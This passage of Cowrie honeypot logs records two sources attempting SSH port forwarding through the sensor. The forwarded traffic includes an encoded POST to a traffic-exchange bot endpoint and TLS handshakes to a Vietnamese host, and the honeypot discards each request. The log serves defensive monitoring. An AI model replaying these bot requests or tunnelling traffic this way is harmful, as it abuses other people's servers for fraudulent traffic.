{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:48.303867Z","session":"be81fdf235fb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:48.425641Z","src_ip":"113.164.152.20","session":"be81fdf235fb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1194\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 8.0.0; ATU-LX3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Un40P29edDx7UTJTZUcyVw%3D%3DcxNIPQ2aUWDyTPe6JKLczlpGsUnWFItKt8gJhDkYLXx6lGYeukD1ZZWPj2fcaqS91h34Xxk9x7lyt0442I2d2E%2FbEkc27n95te2gskgSCV98SjTrkTkdVFqwOfZX%2BvTZFuumgUymyoOZ6qGLoR%2F32IV%2FWuGEjEP0Xpy%2FL3od6m%2BrixQcJEUUdjY2QuzDnN%2FjYOn%2BahLymn6VeT%2BBCz9l8JPn8D8YfHNT1y%2BfAbBuIfIA60%2BL%2BrSE%2BcL%2F574i6t%2FoFlGBk18WQej%2FAokiVAMMMyjpm7IKXC3k%2FpTT5avkDApzBarInc9qu8f2vTan7vXd4ZQ2gqatTTwVl9QKhsR5ZodXJqpZiXO3uH4tM3hKrDhCz3cgR%2F92zXT2RLOv4v7scyTL8j0CbajOHugfs7%2BAPCkNnHVUQy24lyHuglickO5KkGZRVtZVqQgIZCLcSjPuKGluIFF02c8BYgNt7pZViP6dTvqitiDDpSr9fnxiLG7JmiXD6ToJhqdzCqpWfMxOGWWUZxoUFknruJXcZevkC4bekPBydPV5H4xNSdP6xLJbK1Khlj0eiFsOFCKIF%2BVvblvgyrkBaXu0lpmX0tZLo0OKyjLbU0opJxGT4yAXdGLUX4%2FiL9wjNveMpG0ALYcpdbAtwMb28SqHXseFOOWm3UMPNvBd8AzV766PzncvASH2aiTe56Xt%2FaefN0CeqKxezX7aCGXgYZD%2Bp000gNa5K1CL9H8a48TjnqVsirPva4T%2BXoNc827vpDA%2Bllu%2FsPRpOntkJg1tt65v%2Fipd%2FCJGE7DyVRv3hKlceuUW%2F6G%2BXQaXTv07zq75KLxvk4Ompl%2BiHvRHaDJ4GwHPQdQIGY6q7vtRGf1r10v5GFjoWKJAI3kO2jgr%2BSB4TND6T78eAlpfy3hpVPxKgsqHK3O1gfLlV69YhtUlYr2zboGoodl9YdC2PN3CVtjkymWTjQ1HDZCzphHyuKBuDm3agPEUOhAMMt2rsZvRqVEIK5dwKx8D5zlGiH861WY%2BdIjifvTTUBrx4yFdmVUoRNGuoVaGb8q%2FeRsd%2BJEg%2FPe%2FkbLPAsWMa0idjlIUNE%2BnxyGQPU7wGOaG'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1194\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 8.0.0; ATU-LX3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Un40P29edDx7UTJTZUcyVw%3D%3DcxNIPQ2aUWDyTPe6JKLczlpGsUnWFItKt8gJhDkYLXx6lGYeukD1ZZWPj2fcaqS91h34Xxk9x7lyt0442I2d2E%2FbEkc27n95te2gskgSCV98SjTrkTkdVFqwOfZX%2BvTZFuumgUymyoOZ6qGLoR%2F32IV%2FWuGEjEP0Xpy%2FL3od6m%2BrixQcJEUUdjY2QuzDnN%2FjYOn%2BahLymn6VeT%2BBCz9l8JPn8D8YfHNT1y%2BfAbBuIfIA60%2BL%2BrSE%2BcL%2F574i6t%2FoFlGBk18WQej%2FAokiVAMMMyjpm7IKXC3k%2FpTT5avkDApzBarInc9qu8f2vTan7vXd4ZQ2gqatTTwVl9QKhsR5ZodXJqpZiXO3uH4tM3hKrDhCz3cgR%2F92zXT2RLOv4v7scyTL8j0CbajOHugfs7%2BAPCkNnHVUQy24lyHuglickO5KkGZRVtZVqQgIZCLcSjPuKGluIFF02c8BYgNt7pZViP6dTvqitiDDpSr9fnxiLG7JmiXD6ToJhqdzCqpWfMxOGWWUZxoUFknruJXcZevkC4bekPBydPV5H4xNSdP6xLJbK1Khlj0eiFsOFCKIF%2BVvblvgyrkBaXu0lpmX0tZLo0OKyjLbU0opJxGT4yAXdGLUX4%2FiL9wjNveMpG0ALYcpdbAtwMb28SqHXseFOOWm3UMPNvBd8AzV766PzncvASH2aiTe56Xt%2FaefN0CeqKxezX7aCGXgYZD%2Bp000gNa5K1CL9H8a48TjnqVsirPva4T%2BXoNc827vpDA%2Bllu%2FsPRpOntkJg1tt65v%2Fipd%2FCJGE7DyVRv3hKlceuUW%2F6G%2BXQaXTv07zq75KLxvk4Ompl%2BiHvRHaDJ4GwHPQdQIGY6q7vtRGf1r10v5GFjoWKJAI3kO2jgr%2BSB4TND6T78eAlpfy3hpVPxKgsqHK3O1gfLlV69YhtUlYr2zboGoodl9YdC2PN3CVtjkymWTjQ1HDZCzphHyuKBuDm3agPEUOhAMMt2rsZvRqVEIK5dwKx8D5zlGiH861WY%2BdIjifvTTUBrx4yFdmVUoRNGuoVaGb8q%2FeRsd%2BJEg%2FPe%2FkbLPAsWMa0idjlIUNE%2BnxyGQPU7wGOaG'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:48.428798Z","src_ip":"113.164.152.20","session":"be81fdf235fb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:48.685845Z","src_ip":"113.164.152.20","session":"be81fdf235fb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03o\\xe8u0\\xe0T\\xafl\\xf1\\xd9Q\\xacm\\xea\\x93\\x95\\xf0N\\xda\\x9a\\x15\\xc1\\x9b\\x12~\\xe9\"+\\x0b\\x07\\xff\\x19 \\xd0TN\\xf2\\x83\\x8e\\xdbu\\xd2!\\x84\\xaah\\xb2m1\\xe9P:\\x11\\xa8sj!\\xa4\\xeaw\\xcf\\xf3\\x98u\\xa7\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 9\\x04Z\\x0b,l,%\\xdd\\xbd\\xc7W1\\xdea\\xe2\\x1a_O\\x12\\x08\\xf8\\x0cp\\x85z\\xc8\\xb2\\x87\\x035K\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03o\\xe8u0\\xe0T\\xafl\\xf1\\xd9Q\\xacm\\xea\\x93\\x95\\xf0N\\xda\\x9a\\x15\\xc1\\x9b\\x12~\\xe9\"+\\x0b\\x07\\xff\\x19 \\xd0TN\\xf2\\x83\\x8e\\xdbu\\xd2!\\x84\\xaah\\xb2m1\\xe9P:\\x11\\xa8sj!\\xa4\\xeaw\\xcf\\xf3\\x98u\\xa7\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 9\\x04Z\\x0b,l,%\\xdd\\xbd\\xc7W1\\xdea\\xe2\\x1a_O\\x12\\x08\\xf8\\x0cp\\x85z\\xc8\\xb2\\x87\\x035K\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:48.688470Z","src_ip":"113.164.152.20","session":"be81fdf235fb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:49.207330Z","session":"be81fdf235fb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:49.473777Z","src_ip":"113.164.152.20","session":"be81fdf235fb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x95Y\\xd0\\x9f\\x8a\\x87\\x89\\xe5\\x02\\x9a\\x82p\\xda\\x88\\x02\\x8fhw\\x80\\xb8\\xab\\xfc\\\\\\x1dvs\\x1a\\x1b\\xce\\xff\\x15\\x85 \\xec\\'\\x95\\xf7\\xef\\xd9\\xca\\x81n\\x12\\xcelE6\\x9f \\x86{\\xb4?$\\xb4\\x0cy\\x1e\\x8d\\xf9\\xe6~3\\xfe\\xaa\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 o\\x84@\\xe4y9X\\x81z\\x16o\\\\\\x8dS\\xe26O\\xc7\\x1d\\xab\\x98\\x0c0\\x11<\\x148\\xb0\\xaa\\x00$\\r\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x95Y\\xd0\\x9f\\x8a\\x87\\x89\\xe5\\x02\\x9a\\x82p\\xda\\x88\\x02\\x8fhw\\x80\\xb8\\xab\\xfc\\\\\\x1dvs\\x1a\\x1b\\xce\\xff\\x15\\x85 \\xec\\'\\x95\\xf7\\xef\\xd9\\xca\\x81n\\x12\\xcelE6\\x9f \\x86{\\xb4?$\\xb4\\x0cy\\x1e\\x8d\\xf9\\xe6~3\\xfe\\xaa\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 o\\x84@\\xe4y9X\\x81z\\x16o\\\\\\x8dS\\xe26O\\xc7\\x1d\\xab\\x98\\x0c0\\x11<\\x148\\xb0\\xaa\\x00$\\r\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:49.476714Z","src_ip":"113.164.152.20","session":"be81fdf235fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:49.865280Z","src_ip":"113.164.152.20","session":"be81fdf235fb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:51.427669Z","session":"9321e06adbab","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:51.485588Z","src_ip":"23.175.50.52","session":"9321e06adbab","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x034\\xa9\\xe4|P82\\xfc\\xe4jzQ\\xa6Vp\\x08 \\x1a\\xa4)\\xfa\\xd4\\xe67\\xf6\\x1f\\x1d\\xdaM\\x9a\\x87\\xf1 >JF%\\xcd\\x99I@\\x00\\xd9R\\xb1\\x8c\\xbc\\nBj&c\\x8cG\\xad\\xaf\\x90\\xfb\\x9d+\\x7f\\x1bY&\\xb5\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd7\\x02\\x8c\\xf4\\xf7K\\xa7\\xb5^=)\\xf0\\xf5\\xb3\\xfa\\xe16\\xe4\\xe9\\x8bU\\xa0\\x01\\xe7lq\\x93\\xe8C\\xf9\\x8be\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x034\\xa9\\xe4|P82\\xfc\\xe4jzQ\\xa6Vp\\x08 \\x1a\\xa4)\\xfa\\xd4\\xe67\\xf6\\x1f\\x1d\\xdaM\\x9a\\x87\\xf1 >JF%\\xcd\\x99I@\\x00\\xd9R\\xb1\\x8c\\xbc\\nBj&c\\x8cG\\xad\\xaf\\x90\\xfb\\x9d+\\x7f\\x1bY&\\xb5\\x00 